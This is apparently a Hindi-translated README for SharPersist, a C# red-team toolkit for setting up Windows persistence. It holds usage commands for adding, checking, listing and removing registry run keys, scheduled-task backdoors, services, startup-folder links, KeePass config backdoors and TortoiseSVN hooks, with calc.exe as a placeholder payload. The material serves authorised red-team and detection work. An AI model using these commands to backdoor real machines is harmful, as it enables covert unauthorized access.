
C# टूलकिट जो रीजिस्ट्री कीज़, शेड्यूल्ड टास्क, सर्विसेज़, स्टार्टअप फोल्डर, KeePass कॉन्फ़िग्स और TortoiseSVN हुक्स के माध्यम से विंडोज़ पर्सिस्टेंस स्थापित करने और प्रबंधित करने के लिए है।
C# में लिखा गया विंडोज़ पर्सिस्टेंस टूलकिट। प्रत्येक तकनीक के विस्तृत उपयोग जानकारी के लिए, Wiki देखें।
लेखक - Brett Hawkins (@h4wkst3r)
प्रोजेक्ट को स्वयं संकलित (compile) करने के लिए Visual Studio सेटअप करने हेतु नीचे दिए गए चरणों का पालन करें। इसके लिए कुछ .NET लाइब्रेरियों की आवश्यकता होती है, जिन्हें NuGet पैकेज मैनेजर से इंस्टॉल किया जा सकता है।
इस प्रोजेक्ट में नीचे दी गई तृतीय-पक्ष (third-party) लाइब्रेरीज़ का उपयोग किया गया है।
| लाइब्रेरी | URL | लाइसेंस |
|---|---|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler | MIT License |
| Fody | https://github.com/Fody/Fody | MIT License |
Install-Package Costura.Fody -Version 3.3.3Install-Package TaskScheduler -Version 2.8.11keepass - KeePass कॉन्फ़िग फ़ाइल में बैकडोरreg - रजिस्ट्री कुंजी जोड़ना/संशोधित करनाschtaskbackdoor - इसमें एक अतिरिक्त क्रिया जोड़कर शेड्यूल्ड टास्क को बैकडोर करनाstartupfolder - स्टार्टअप फ़ोल्डर में lnk फ़ाइलtortoisesvn - Tortoise SVN हुक स्क्रिप्टservice - नई विंडोज़ सेवा बनानाschtask - नया शेड्यूल्ड टास्क बनानाadd - पर्सिस्टेंस तकनीक जोड़ेंremove - पर्सिस्टेंस तकनीक हटाएँcheck - पर्सिस्टेंस तकनीक का ड्राई-रन करेंlist - पर्सिस्टेंस तकनीक के लिए वर्तमान प्रविष्टियाँ सूचीबद्ध करेंenv - रजिस्ट्री के लिए env वेरिएबल अस्पष्टीकरण हेतु वैकल्पिक ऐड-ऑनhourly - schtask आवृत्ति के लिए वैकल्पिक ऐड-ऑनdaily - schtask आवृत्ति के लिए वैकल्पिक ऐड-ऑनlogon - schtask आवृत्ति के लिए वैकल्पिक ऐड-ऑनhklmrunhklmrunoncehklmrunonceexhkcurunhkcurunoncelogonscriptstickynotesuserinitKeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
रजिस्ट्री
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
शेड्यूल्ड टास्क बैकडोर
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
स्टार्टअप फ़ोल्डर
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add
विंडोज़ सेवा
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
शेड्यूल्ड टास्क
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly
KeePass
SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove
रजिस्ट्री
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env
SharPersist -t reg -k "logonscript" -m remove
शेड्यूल्ड टास्क बैकडोर
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
स्टार्टअप फ़ोल्डर
SharPersist -t startupfolder -f "Some File" -m remove
Tortoise SVN
SharPersist -t tortoisesvn -m remove
विंडोज़ सेवा
SharPersist -t service -n "Some Service" -m remove
शेड्यूल्ड टास्क
SharPersist -t schtask -n "Some Task" -m remove
KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check
रजिस्ट्री
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check
शेड्यूल्ड टास्क बैकडोर
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check
स्टार्टअप फ़ोल्डर
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check
विंडोज़ सेवा
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check
शेड्यूल्ड टास्क
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly
रजिस्ट्री
SharPersist -t reg -k "hkcurun" -m list
शेड्यूल्ड टास्क बैकडोर
SharPersist -t schtaskbackdoor -m list
SharPersist -t schtaskbackdoor -m list -n "Some Task"
SharPersist -t schtaskbackdoor -m list -o logon
स्टार्टअप फ़ोल्डर
SharPersist -t startupfolder -m list
विंडोज़ सेवा
SharPersist -t service -m list
SharPersist -t service -m list -n "Some Service"
शेड्यूल्ड टास्क
SharPersist -t schtask -m list
SharPersist -t schtask -m list -n "Some Task"
SharPersist -t schtask -m list -o logon